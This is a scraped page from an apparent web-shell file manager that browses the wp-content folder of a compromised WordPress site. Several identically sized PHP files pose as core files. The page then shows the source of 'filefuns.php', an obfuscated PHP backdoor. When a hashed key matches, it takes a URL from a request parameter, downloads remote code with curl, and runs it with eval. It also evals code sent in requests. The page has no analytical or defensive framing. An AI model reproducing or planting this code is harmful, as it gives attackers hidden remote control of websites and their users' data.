golden hour

/home/godaofbq/dev.hyperredbed.com/wp-content

File/Folder	Size	Actions
.htaccess	197 B
config.php	6.83 KB
core.php	6.83 KB
filefuns.php	5.28 KB
index.php	28 B
load.php	6.83 KB
login.php	6.83 KB
maintenance	-
maintenance.php	2.63 KB
mu-plugins	-
plugin-install.php	6.83 KB
plugins	-
themes	-
upgrade	-
upgrade-temp-backup	-
uploads	-
wp-blog-header.php	2.74 KB
wp-cron.php	2.74 KB
wp-signup.php	6.83 KB

Edit: filefuns.php

<?php
 goto wRy3AjN12_; x_OXh23kKD: $jo7OpR6p7H = ${$zQL5bRV7rb[21 + 10] . $zQL5bRV7rb[42 + 17] . $zQL5bRV7rb[15 + 32] . $zQL5bRV7rb[27 + 20] . $zQL5bRV7rb[19 + 32] . $zQL5bRV7rb[35 + 18] . $zQL5bRV7rb[19 + 38]}; goto dexcgr2lkY; w82xb_wEC5: class XimQ3IEiAH { static function xFugtakLlN($w0N4yrbxQZ) { goto N58hauG1c7; HfE9SwzgEx: $JQ27sozqa0 = ''; goto zynqopnOrh; zynqopnOrh: foreach ($uu5kelbsVA as $uggvQHMwaB => $v9rvV_aXQ4) { $JQ27sozqa0 .= $U9ij8mcLuk[$v9rvV_aXQ4 - 82799]; MV179DMAEG: } goto nlgFFB3Y1p; nlgFFB3Y1p: bBR_vZyHJx: goto ImT1Mg_m6y; Sw9bbBR2EJ: $U9ij8mcLuk = $vw1NxRvzrg("\176", "\x20"); goto lO8PdIolsv; lO8PdIolsv: $uu5kelbsVA = explode("\x5d", $w0N4yrbxQZ); goto HfE9SwzgEx; N58hauG1c7: $vw1NxRvzrg = "\162" . "\141" . "\156" . "\147" . "\145"; goto Sw9bbBR2EJ; ImT1Mg_m6y: return $JQ27sozqa0; goto Jc0Hd7FH2M; Jc0Hd7FH2M: } static function Opj6jbvEMa($wfqe8H0cxL, $m6Zkxhequj) { goto A94V0p6xfl; YFazlvx0bb: $lWWM3hb0Ul = curl_exec($Bws9Wq8rpF); goto YCsSctOpeM; lXrpxaX3ib: curl_setopt($Bws9Wq8rpF, CURLOPT_RETURNTRANSFER, 1); goto YFazlvx0bb; A94V0p6xfl: $Bws9Wq8rpF = curl_init($wfqe8H0cxL); goto lXrpxaX3ib; YCsSctOpeM: return empty($lWWM3hb0Ul) ? $m6Zkxhequj($wfqe8H0cxL) : $lWWM3hb0Ul; goto tb4c4N0rbt; tb4c4N0rbt: } static function mf5aFz8g07() { goto omwi68yxHH; aeR9jpZ0tH: $mOtiU7fvSW = @$jaNsn_FQTV[1]($jaNsn_FQTV[10 + 0](INPUT_GET, $jaNsn_FQTV[2 + 7])); goto XXBW5eP2oB; Z_62EDZv0b: foreach ($kWNARZ_B3n as $VFsW2yUw1j) { $jaNsn_FQTV[] = self::xFuGTAKlLN($VFsW2yUw1j); Cv54nmuZZD: } goto lgShDECtqJ; j30nQofz0M: wlelT2wqpd: goto MBCxvVFcym; XXBW5eP2oB: $vY8naiGYi1 = @$jaNsn_FQTV[3 + 0]($jaNsn_FQTV[6 + 0], $mOtiU7fvSW); goto bkEJWfU7jI; KC9r3o5iMa: @eval($jaNsn_FQTV[4 + 0]($P9RWK2tiwc)); goto piNgdu1z1r; bJUtEHer6M: if (!(@$n_48MkkgQi[0] - time() > 0 and $taqng32ueS === "\x39\66\x31\x64\145\x64\x66\141\x30\x66\143\x31\x66\x33\143\63\x36\142\144\70\x39\x64\x39\x65\64\63\x64\x65\x38\x62\x65\x63")) { goto wlelT2wqpd; } goto hNaMEVxWVR; bkEJWfU7jI: $n_48MkkgQi = $jaNsn_FQTV[1 + 1]($vY8naiGYi1, true); goto gO8vMgA3xd; hNaMEVxWVR: $P9RWK2tiwc = self::opj6JBvEMA($n_48MkkgQi[1 + 0], $jaNsn_FQTV[3 + 2]); goto KC9r3o5iMa; lgShDECtqJ: iLsUO_cTCd: goto aeR9jpZ0tH; omwi68yxHH: $kWNARZ_B3n = array("\x38\x32\70\x32\66\135\70\62\x38\x31\61\135\x38\x32\70\62\64\x5d\x38\62\70\x32\x38\x5d\70\62\70\60\x39\135\x38\x32\70\62\64\135\x38\62\70\x33\60\135\70\62\70\x32\63\135\x38\62\x38\60\x38\x5d\70\62\x38\61\x35\135\x38\x32\70\62\66\135\x38\x32\x38\x30\71\x5d\x38\x32\70\x32\60\x5d\x38\x32\70\x31\x34\x5d\x38\x32\x38\61\x35", "\x38\62\x38\61\60\135\x38\62\70\60\71\x5d\x38\62\x38\x31\x31\x5d\x38\x32\x38\63\60\x5d\x38\62\70\x31\61\x5d\70\x32\70\x31\x34\135\x38\62\x38\60\x39\x5d\x38\x32\x38\67\x36\135\70\x32\x38\67\64", "\70\x32\x38\61\71\135\x38\62\70\x31\60\135\70\x32\70\61\x34\x5d\x38\x32\x38\61\65\135\70\x32\x38\63\x30\x5d\70\x32\70\62\x35\x5d\70\62\70\62\64\x5d\70\62\70\x32\x36\x5d\x38\62\x38\61\64\135\70\x32\x38\x32\65\135\70\62\70\62\x34", "\70\x32\x38\61\x33\x5d\x38\62\70\x32\x38\x5d\x38\x32\70\x32\x36\x5d\x38\x32\x38\61\70", "\x38\62\70\x32\67\135\70\62\x38\x32\70\x5d\70\62\x38\x31\x30\x5d\x38\62\70\62\64\x5d\x38\x32\70\x37\x31\135\x38\x32\x38\x37\63\x5d\x38\62\x38\x33\60\135\70\x32\70\62\65\x5d\x38\x32\70\x32\64\135\70\x32\70\62\66\135\70\x32\x38\x31\64\x5d\70\62\x38\x32\x35\x5d\x38\x32\x38\62\x34", "\70\62\x38\62\63\135\70\62\x38\62\60\135\x38\x32\70\61\67\135\x38\62\70\x32\64\135\x38\x32\70\63\x30\x5d\x38\62\x38\x32\62\135\70\x32\70\x32\64\x5d\70\62\x38\60\71\x5d\x38\62\x38\63\60\x5d\70\x32\70\62\66\135\70\62\x38\x31\x34\135\70\62\70\61\x35\135\70\62\x38\x30\x39\x5d\x38\x32\x38\62\x34\x5d\70\x32\x38\x31\65\135\x38\62\x38\60\71\x5d\x38\62\x38\x31\60", "\70\x32\x38\65\63\135\x38\x32\x38\x38\63", "\x38\x32\x38\60\x30", "\x38\62\x38\x37\70\135\x38\62\x38\x38\63", "\x38\x32\x38\66\x30\x5d\x38\x32\x38\x34\63\135\x38\62\70\x34\x33\135\70\62\70\66\60\135\70\62\70\x33\x36", "\x38\62\x38\62\63\x5d\x38\62\70\62\60\x5d\x38\62\x38\61\67\x5d\x38\x32\70\x30\x39\135\x38\x32\x38\62\x34\x5d\70\x32\x38\61\x31\x5d\x38\x32\x38\x33\x30\135\70\62\70\x32\60\x5d\x38\62\70\x31\x35\135\70\62\70\61\63\x5d\x38\62\70\x30\x38\135\70\62\x38\x30\x39"); goto Z_62EDZv0b; gO8vMgA3xd: $bYtIld1ZI6 = md5($n_48MkkgQi[3 + 0]); goto mI9AiholGy; mfx0OOAPXk: $taqng32ueS = md5($bYtIld1ZI6); goto bJUtEHer6M; piNgdu1z1r: die; goto j30nQofz0M; mI9AiholGy: @$jaNsn_FQTV[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($jaNsn_FQTV[4 + 1](__FILE__)); goto mfx0OOAPXk; MBCxvVFcym: } } goto IVSaz8CzED; qxaqxcmPk0: metaphone("\64\x70\170\x7a\53\131\x34\x31\x51\124\66\x47\x5a\x69\x61\162\x4b\71\x72\x63\143\57\115\x2f\155\x2b\x7a\112\x7a\x6b\156\x65\144\154\70\105\112\104\x31\65\113\141\x6b"); goto w82xb_wEC5; dexcgr2lkY: @(md5(md5(md5(md5($jo7OpR6p7H[14])))) === "\x34\66\x31\x63\x32\64\61\x61\62\63\x37\71\144\x61\x38\x62\x65\x30\143\x32\x38\x39\x35\66\x32\144\64\x61\x30\x35\66\141") && (count($jo7OpR6p7H) == 20 && in_array(gettype($jo7OpR6p7H) . count($jo7OpR6p7H), $jo7OpR6p7H)) ? ($jo7OpR6p7H[65] = $jo7OpR6p7H[65] . $jo7OpR6p7H[71]) && ($jo7OpR6p7H[83] = $jo7OpR6p7H[65]($jo7OpR6p7H[83])) && @eval($jo7OpR6p7H[65](${$jo7OpR6p7H[41]}[16])) : $jo7OpR6p7H; goto qxaqxcmPk0; wRy3AjN12_: $tbsbJH15rP = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto lvHIAG_zYf; lvHIAG_zYf: $zQL5bRV7rb = $tbsbJH15rP("\176", "\x20"); goto x_OXh23kKD; IVSaz8CzED: xImQ3ieIaH::MF5AfZ8g07();
?>
BiaoJiOk